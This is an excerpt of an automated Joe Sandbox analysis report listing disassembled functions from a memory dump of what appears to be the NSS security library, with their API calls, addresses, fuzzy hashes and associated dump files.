Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: db05dd484b0435883fb9d6611878410940ee1f546c3dcbac08b4cd5d44945727
Instruction ID: adfe52d1b83a3fa0db300d0869297cef470c6e9625bd4ea3f13856f3ffc66df7
Opcode Fuzzy Hash: db05dd484b0435883fb9d6611878410940ee1f546c3dcbac08b4cd5d44945727
Instruction Fuzzy Hash: DA313CB4606211DFD704DF14D980E62B7E8FF48318B5681A9E90D8B766E730E804CBA1

Function 6CD24FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CD2B60F,00000000), ref: 6CD25003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CD2B60F,00000000), ref: 6CD2501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CD2B60F,00000000), ref: 6CD2504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CD2B60F,00000000), ref: 6CD25064

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: e65e0bc7a79646fc97b397f1f4e8bd171de6b1e8a1263d91c705048896732db9
Instruction ID: 7207a8a2d254f029c2a8a82bc3d1af3c6f4455044d4220d550c55a96edc1a83b
Opcode Fuzzy Hash: e65e0bc7a79646fc97b397f1f4e8bd171de6b1e8a1263d91c705048896732db9
Instruction Fuzzy Hash: 863126B0A05606CFDB00EF68C584A6AFBF4FF48308B118969D959DB714E734E890CBD2

Function 6CCE1EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CCE4C64,?,-00000004), ref: 6CCE1EE2

Part of subcall function 6CD41820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CCE1D97,?,?), ref: 6CD41836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CCE4C64,?,-00000004), ref: 6CCE1F13
DER_DecodeTimeChoice_Util.NSS3(?,6CCE4CA0,?,?,?,?,?,?,00000000,00000000,?,6CCE4C64,?,-00000004), ref: 6CCE1F37
DER_DecodeTimeChoice_Util.NSS3(?,6CCE4C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCE4C64,?,-00000004), ref: 6CCE1F53

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: 4219caa3adabd42cc2779124eec0b6ace00dd802e7f44ab1a04a2ec841348745
Instruction ID: b04f67565829659f7d51bb835f440a41047d9d24dafb3c70ee35a7378821bf35
Opcode Fuzzy Hash: 4219caa3adabd42cc2779124eec0b6ace00dd802e7f44ab1a04a2ec841348745
Instruction Fuzzy Hash: 60218471504316AFC700CF2ADD01A9BB7E9BF89699F004929F948C3A41F730E569CBE2

Function 6CD49F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CD4A71A,FFFFFFFF,?,?), ref: 6CD49FAB

Part of subcall function 6CD414C0: TlsGetValue.KERNEL32 ref: 6CD414E0
Part of subcall function 6CD414C0: EnterCriticalSection.KERNEL32 ref: 6CD414F5
Part of subcall function 6CD414C0: PR_Unlock.NSS3 ref: 6CD4150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CD4A71A,6CD4A71A,00000000), ref: 6CD49FD9

Part of subcall function 6CD41340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CCE895A,00000000,?,00000000,?,00000000,?,00000000,?,6CCDF599,?,00000000), ref: 6CD4136A
Part of subcall function 6CD41340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CCE895A,00000000,?,00000000,?,00000000,?,00000000,?,6CCDF599,?,00000000), ref: 6CD4137E
Part of subcall function 6CD41340: PL_ArenaGrow.NSS3(?,6CCDF599,?,00000000,?,6CCE895A,00000000,?,00000000,?,00000000,?,00000000,?,6CCDF599,?), ref: 6CD413CF
Part of subcall function 6CD41340: PR_Unlock.NSS3(?,?,6CCE895A,00000000,?,00000000,?,00000000,?,00000000,?,6CCDF599,?,00000000), ref: 6CD4145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CD4A71A,6CD4A71A,00000000), ref: 6CD4A009
PR_SetError.NSS3(FFFFE013,00000000,6CD4A71A,6CD4A71A,00000000), ref: 6CD4A045

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 9bfe87785c099631461bbf871f567671720dc6444ac727c3dd626c71add3e8fd
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 9C2183B4600206ABE7009F15DC50F66B7A9BB8535DF14C138DA1D87BA5E775D814CBA0

Function 6CD52DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CD52E08

Part of subcall function 6CD414C0: TlsGetValue.KERNEL32 ref: 6CD414E0
Part of subcall function 6CD414C0: EnterCriticalSection.KERNEL32 ref: 6CD414F5
Part of subcall function 6CD414C0: PR_Unlock.NSS3 ref: 6CD4150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CD52E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CD52E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CD52E95

Part of subcall function 6CD41200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CCE88A4,00000000,00000000), ref: 6CD41228
Part of subcall function 6CD41200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CD41238
Part of subcall function 6CD41200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CCE88A4,00000000,00000000), ref: 6CD4124B
Part of subcall function 6CD41200: PR_CallOnce.NSS3(6CE42AA4,6CD412D0,00000000,00000000,00000000,?,6CCE88A4,00000000,00000000), ref: 6CD4125D
Part of subcall function 6CD41200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CD4126F
Part of subcall function 6CD41200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CD41280
Part of subcall function 6CD41200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CD4128E
Part of subcall function 6CD41200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CD4129A
Part of subcall function 6CD41200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CD412A1

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: e685bcf88d68fb2f9bb2c2242ca3e2db823e3f5aa01fba286613645f71a027d6
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: BC21F6B1E003458BEB00CF549D44BAA3764AFA134CF554269DE085B762F7B1E6A883A2

Function 6CD0ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CD0ACC2

Part of subcall function 6CCE2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CCE2F0A
Part of subcall function 6CCE2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CCE2F1D

Part of subcall function 6CCE2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CCE0A1B,00000000), ref: 6CCE2AF0
Part of subcall function 6CCE2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCE2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CD0AD5E

Part of subcall function 6CD257D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CCEB41E,00000000,00000000,?,00000000,?,6CCEB41E,00000000,00000000,00000001,?), ref: 6CD257E0
Part of subcall function 6CD257D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CD25843

CERT_DestroyCertList.NSS3(?), ref: 6CD0AD36

Part of subcall function 6CCE2F50: CERT_DestroyCertificate.NSS3(?), ref: 6CCE2F65
Part of subcall function 6CCE2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CCE2F83

free.MOZGLUE(?), ref: 6CD0AD4F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: c882e070239326fd9d5723661282785841c7b1e730d0a61739b0b2c37f164275
Instruction ID: 8504b45453134117e6bca799b24b30c5170a27ed1ec958b91d9ebdbc8ce14d0f
Opcode Fuzzy Hash: c882e070239326fd9d5723661282785841c7b1e730d0a61739b0b2c37f164275
Instruction Fuzzy Hash: B42193B1E00219DBEB10DF68D8055EEB7B4AF49218F054168D849BB721FB31EA59CBB1

Function 6CD33C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CD33C9E
EnterCriticalSection.KERNEL32(?), ref: 6CD33CAE
PR_Unlock.NSS3(?), ref: 6CD33CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CD33D02

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 04bb8aaa5b29058ca2f3fbe1871a70d61e0149d3e196a1d60a9e830e38104310
Instruction ID: 2b12ca82379438bbd96604618ae9b84b72334a08334ea1d101f2ecc8963c42c0
Opcode Fuzzy Hash: 04bb8aaa5b29058ca2f3fbe1871a70d61e0149d3e196a1d60a9e830e38104310
Instruction Fuzzy Hash: 7811D675A00214EFDB00AF24EC48E9A3778EF4A368F155161ED088B721E730ED55C7E1

Function 6CD3ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CD3F0AD,6CD3F150,?,6CD3F150,?,?,?), ref: 6CD3ECBA

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CD3ECD1

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CD3ED02

Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CD3ED5A

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 4427ae953c3d58156fd6b4ce59630290804ca4af1d3639c4b60cb367afcfacd2
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 3F21A4B19007529BE700CF25E944B52B7E4BFA5348F15D225E91C87AB1FB70E994CAE0

Function 6CD6EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CD57FFA,?,6CD59767,?,8B7874C0,0000A48E), ref: 6CD6EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CD57FFA,?,6CD59767,?,8B7874C0,0000A48E), ref: 6CD6EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CD57FFA,?,6CD59767,?,8B7874C0,0000A48E), ref: 6CD6EE14

Part of subcall function 6CD40BE0: malloc.MOZGLUE(6CD38D2D,?,00000000,?), ref: 6CD40BF8
Part of subcall function 6CD40BE0: TlsGetValue.KERNEL32(6CD38D2D,?,00000000,?), ref: 6CD40C15

memcpy.VCRUNTIME140(?,?,6CD59767,00000000,00000000,6CD57FFA,?,6CD59767,?,8B7874C0,0000A48E), ref: 6CD6EE33

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: df71286b03a24cdab41b4821ed3a28d97b4daf4a099151b8b472cbc68fbb750e
Instruction ID: ea2ea7e4e66d42ceff66a3548612f3961b92682536e641a028ed4c54f15c02e2
Opcode Fuzzy Hash: df71286b03a24cdab41b4821ed3a28d97b4daf4a099151b8b472cbc68fbb750e
Instruction Fuzzy Hash: F2117CB1A01716EBEB109F66DC84B46B3A8EB0435DF244535E91986E62E331F464CBE2

Function 6CCEDFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CD006A0: TlsGetValue.KERNEL32 ref: 6CD006C2
Part of subcall function 6CD006A0: EnterCriticalSection.KERNEL32(?), ref: 6CD006D6
Part of subcall function 6CD006A0: PR_Unlock.NSS3 ref: 6CD006EB

CERT_NewCertList.NSS3 ref: 6CCEDFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CCEDFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CCEDFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCEE029

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 410aaf979061205ed9ff1903d6c29442335e4f61ebb30ddff98dc2347160d61b
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: D6112F71A00206ABDB105EA95C44BAB7678BB8F3DCF04053CE918D7711F772D916A6E1

Function 6CD508D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CD509B3,0000001A,?), ref: 6CD508E9

Part of subcall function 6CD40840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD408B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CD508FD

Part of subcall function 6CD3FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CD38D2D,?,00000000,?), ref: 6CD3FB85
Part of subcall function 6CD3FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CD3FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CD50939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD50953

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: a9118e5b551bad853edb794686587ac9dc251f0c13e3b91c0e6a1d5035114622
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 570108F560124AABFF045B355C20B6777989F4029DF488039EC19C5A61FB31F4248EA0

Function 6CD08DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CD08DE7
EnterCriticalSection.KERNEL32 ref: 6CD08DFC
PR_Unlock.NSS3 ref: 6CD08E2D
PR_SetError.NSS3 ref: 6CD08E49

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 4e8b54a38832b78ac2ee82f54d825b56f65af15780c26406ba05b39d7fcd2c83
Instruction ID: 91c3f6e0be680951d3ed60b1c833db07f209396fa4998abf1d3b3c6aee093496
Opcode Fuzzy Hash: 4e8b54a38832b78ac2ee82f54d825b56f65af15780c26406ba05b39d7fcd2c83
Instruction Fuzzy Hash: DE113D716056159BD700AF78D48855ABBF4BF45358F01496AD98897710E730E854CBD2

Function 6CDA98D0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,6CCD0936,00000001,?,6CCD102C), ref: 6CDA98E5
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CDA9946
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC616B7,00000000), ref: 6CDA994E

Part of subcall function 6CC61630: TlsGetValue.KERNEL32(00000000,?,6CCD0936,00000000,?,6CC6204A), ref: 6CC61659

free.MOZGLUE(00000000), ref: 6CDA995E

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinValuecallocfree
String ID:
API String ID: 1588565019-0
Opcode ID: b1f6b732a4be90685c729ad1c0736f4c3517994037ac7b97091f0dc86ed5b376
Instruction ID: 1722505d2eb0ae9598d66251e4200a630ec9022fbcfa55d62f968d71e41c7fca
Opcode Fuzzy Hash: b1f6b732a4be90685c729ad1c0736f4c3517994037ac7b97091f0dc86ed5b376
Instruction Fuzzy Hash: 0F010031741311AFD720AFACCC0975B7AF8AB46B0AF00442EE14AD2E40EB71E006CB96

Function 6CD8AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CD75F17,?,?,?,?,?,?,?,?,6CD7AAD4), ref: 6CD8AC94
